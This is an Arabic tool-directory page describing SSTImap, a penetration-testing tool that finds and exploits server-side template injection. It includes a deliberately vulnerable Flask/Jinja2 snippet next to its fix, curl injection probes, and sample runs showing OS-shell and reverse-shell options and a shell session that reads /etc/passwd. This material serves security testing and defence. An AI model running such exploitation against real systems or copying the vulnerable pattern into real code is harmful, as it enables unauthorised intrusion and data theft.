Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
SSTImap — أداة كشف تلقائي لـ SSTI بواجهة تفاعلية | Kitploit
أدوات/GitHubGitHub/vladko312/sstimap
ماسحات الثغرات الأمنيةتوليد الحمولةتحليل الكودتحليل الشفرة الديناميكي (DAST)الاستغلالاستغلال تطبيقات الويبالاختبار العشوائياختبار الاختراقالقيادة والسيطرة
GitHubvladko312/sstimap

SSTImap

أداة كشف تلقائي لـ SSTI بواجهة تفاعلية

1.6k177منذ 3 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

SSTImap

Version 1.3 Python 3.14 Python 3.6 GitHub GitHub last commit Maintenance

هذا المشروع مبني على Tplmap.

SSTImap هو برنامج لاختبار الاختراق يمكنه فحص المواقع الإلكترونية بحثًا عن ثغرات حقن الأكواد وحقن القوالب من جانب الخادم (SSTI) واستغلالها، مما يتيح الوصول إلى نظام التشغيل نفسه.

تم تطوير هذه الأداة لتُستخدم كأداة تفاعلية لاختبار الاختراق لاكتشاف واستغلال SSTI، مما يسمح باستغلال أكثر تقدمًا. يمكن العثور على المزيد من الحمولات لـ SSTImap هنا.

جاءت الحمولات والتقنيات من:

  • جيمس كيتل Server-Side Template Injection: RCE For The Modern Web App
  • أبحاث عامة أخرى [1] [2] [8]
  • مساهمات في Tplmap [3] [4]
  • بحثي الخاص [9]

هذه الأداة قادرة على استغلال بعض هروب سياقات الأكواد وسيناريوهات الحقن الأعمى. كما أنها تدعم حقنًا شبيهًا بـ eval() في Java, JavaScript, PHP, Python, Ruby ومحركات القوالب العامة غير المحصورة.

الاختلافات الرئيسية عن Tplmap

على الرغم من أن هذا البرنامج مبني على كود Tplmap، إلا أن التوافق العكسي غير متوفر.

  • إضافة تقنيتين جديدتين لاكتشاف واستغلال SSTI
  • وضع تفاعلي (-i) يسمح باستغلال واكتشاف أسهل
  • استخدام حمولات تقييم بسيطة كعلامات استجابة في حالة انعكاس الحمولة
  • إضافة حمولات جديدة للقوالب العامة، لاختبار جميع السياقات استخدم --generic
  • كشف حقن القوالب التقييمية العامة باستخدام وحدة Eval_generic
  • تشغيل شل شبيه بـ eval() للغة الأساسية (-x) أو أمر واحد (-X)
  • رفع الملفات الأعمى يدعم الآن تأكيد MD5 والتحقق من وجود الملف
  • إضافة حمولات جديدة لمزيد من القوالب وتحديث العديد من الحمولات الحالية
  • هيكل إضافات معياري يسمح بتثبيت إضافات إضافية
  • دعم لأنواع مختلفة من بيانات POST
  • إضافة الزحف واكتشاف النماذج
  • إضافة نسخ مختصرة للعديد من الوسائط
  • تم تغيير بعض وسائط سطر الأوامر القديمة، تحقق من -h للمساعدة
  • تم تغيير الكود لاستخدام ميزات بايثون الأحدث
  • إضافة Burp Suite مؤقتًا، نظرًا لأن Jython لا يدعم Python3

حقن القوالب من جانب الخادم (SSTI)

هذا مثال على موقع إلكتروني بسيط مكتوب بلغة Python باستخدام إطار Flask ومحرك القوالب Jinja2. يقوم بدمج المتغير name المُقدم من المستخدم بطريقة غير آمنة، حيث يتم ربطه مع سلسلة القالب قبل العرض.

root@kitploit:~
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

لا يؤدي هذا الاستخدام للقوالب إلى ثغرة XSS فحسب، بل يسمح أيضًا للمهاجم بحقن كود القالب الذي سيتم تنفيذه على الخادم، مما يؤدي إلى SSTI.

root@kitploit:~
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

يجب إدخال المدخلات المقدمة من المستخدم بطريقة آمنة من خلال سياق العرض:

root@kitploit:~
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

الوضع المحدد مسبقًا

SSTImap في الوضع المحدد مسبقًا مشابه جدًا لـ Tplmap. إنه قادر على اكتشاف واستغلال ثغرات SSTI في العديد من القوالب المختلفة.

بعد الاستغلال، يمكن لـ SSTImap توفير الوصول إلى تقييم الأكواد، وتنفيذ أوامر نظام التشغيل، والتلاعب بنظام الملفات.

لفحص عنوان URL، يمكنك استخدام الوسيط -u:

root@kitploit:~
$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.3.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

استخدم الخيار --os-shell لتشغيل محطة طرفية زائفة على الهدف.

root@kitploit:~
$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.3.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

للحصول على قائمة كاملة بالخيارات، استخدم الوسيط --help.

الوضع التفاعلي

في الوضع التفاعلي، تُستخدم الأوامر للتفاعل مع SSTImap. للدخول إلى الوضع التفاعلي، يمكنك استخدام الوسيط -i. سيتم استخدام جميع الوسائط الأخرى، باستثناء تلك المتعلقة بحمولات الاستغلال، كقيم أولية للإعدادات.

تُستخدم بعض الأوامر لتعديل الإعدادات بين جلسات الاختبار. لتشغيل اختبار، يجب توفير عنوان URL الهدف عبر الوسيط الأولي -u أو الأمر url. بعد ذلك، يمكنك استخدام الأمر run لفحص عنوان URL بحثًا عن SSTI.

إذا تم العثور على SSTI، يمكن استخدام الأوامر لبدء الاستغلال. يمكنك الحصول على نفس قدرات الاستغلال الموجودة في الوضع المحدد مسبقًا، ولكن يمكنك استخدام Ctrl+C لإلغائها دون إيقاف البرنامج.

بالمناسبة، تظل نتائج الاختبار صالحة حتى يتم تغيير عنوان URL الهدف، لذا يمكنك التبديل بسهولة بين طرق الاستغلال دون الحاجة إلى تشغيل اختبار الاكتشاف في كل مرة.

للحصول على قائمة كاملة بالأوامر التفاعلية، استخدم الأمر help في الوضع التفاعلي.

محركات القوالب المدعومة

يدعم SSTImap العديد من محركات القوالب وحقنًا شبيهًا بـ eval().

نرحب بالحمولات الجديدة في طلبات السحب (PRs). تحقق من النصائح لتسريع التطوير.

التقنيات: (R)endered, (E)rror-based, (B)oolean error-based blind و (T)ime-based blind; الحرف الصغير يشير إلى تقنية مدعومة جزئيًا

يمكن العثور على المزيد من الإضافات والحمولات في مستودع SSTImap Extra Plugins.

إضافة Burp Suite

حاليًا، يعمل Burp Suite فقط مع Jython كطريقة لتنفيذ python2. لا يتم توفير وظائف Python3.

الخطط المستقبلية

إذا كنت تخطط للمساهمة بشيء كبير من هذه القائمة، يرجى إبلاغي لتجنب العمل على نفس الشيء مثلي أو مثل المساهمين الآخرين.

  • إضافة المزيد من الحمولات لمحركات مختلفة
  • جعل الإضافات أقل اعتمادًا على الإضافات الأساسية
  • تحليل طلب HTTP خام من ملف
  • وظيفة تفريغ المتغيرات
  • استخراج القيم عبر القنوات الجانبية/الأعمى
  • توثيق أفضل (أو على الأقل أي توثيق)
  • وسائط مختصرة كأوامر تفاعلية؟
  • أوضاع JSONL/plaintext API لتكامل البرمجة النصية؟
  • تكامل أفضل لنصوص Python
  • دعم نوع بيانات POST متعدد الأجزاء
  • وحدات لطلبات أكثر تخصيصًا (second order, reset, non-HTTP)
  • نصوص معالجة الحمولات
  • وظيفة تكوين أفضل
  • حفظ الثغرات التي تم العثور عليها
  • تقارير بصيغة HTML أو صيغة أخرى
  • تقييم متعدد الأسطر للغة؟
تنزيل الأداة
EngineRCETechLanguageType
Freemarker✓REBTJavaDefault
Java generic EL injections✓REBTJavaDefault
OGNL (Object-Graph Navigation Language code eval)✓REBTJavaDefault
Velocity✓REBTJavaDefault
Nunjucks✓REBTJavaScriptDefault
Velocity.js✓REBTJavaScriptDefault
JavaScript (code eval)✓REBTJavaScriptDefault
JavaScript-based generic templates✓REBTJavaScriptDefault
Twig (>=1.41; >=2.10; >=3.0)✓REBTPHPDefault
PHP (code eval)✓REBTPHPDefault
PHP-based generic templates✓REBTPHPDefault
Jinja2✓REBTPythonDefault
Python (code eval)✓REBTPythonDefault
Python-based generic templates✓REBTPythonDefault
ERB✓REBTRubyDefault
Slim✓REBTRubyDefault
Ruby (code eval)✓REBTRubyDefault
Generic evaluating templates×Reb_*Default
SpEL (Spring EL code eval)✓REBTJavaGeneric
doT✓REBTJavaScriptGeneric
EJS✓REBTJavaScriptGeneric
Marko✓REBTJavaScriptGeneric
Pug✓REBTJavaScriptGeneric
Smarty✓REBTPHPGeneric
Cheetah✓REBTPythonGeneric
Mako✓REBTPythonGeneric
Tornado✓REBTPythonGeneric
Dust (<= [email protected])✓REBTJavaScriptLegacy
Twig (<=1.19)✓REBTPHPLegacy
Templite✓REBTPythonLegacy
SSI (Server-Side Includes injection)✓R__TSSILegacy
CVE-2025-1302✓REBTJavaScriptExtra
CVE-2025-13204✓REBTJavaScriptExtra
CVE-2022-23614✓REBTPHPExtra
CVE-2024-6386✓REBTPHPExtra
  • تجنب الاعتماد على النظام الأساسي في الحمولات
  • اختبار عدة شيلات في سيناريوهات RCE القائمة على exec
  • تحديث حمولات NodeJS حيث قد يكون process.mainModule غير معرّف
  • أتمتة الزاحف/المتتبع (بواسطة fantesykikachu)
  • استيراد تلقائي للغات والمحركات
  • دعم المزيد من أنواع بيانات POST
  • جعل وظيفة تقييم القالب واللغة الأساسية أكثر توحيدًا
  • وسيط لإزالة أكواد escape؟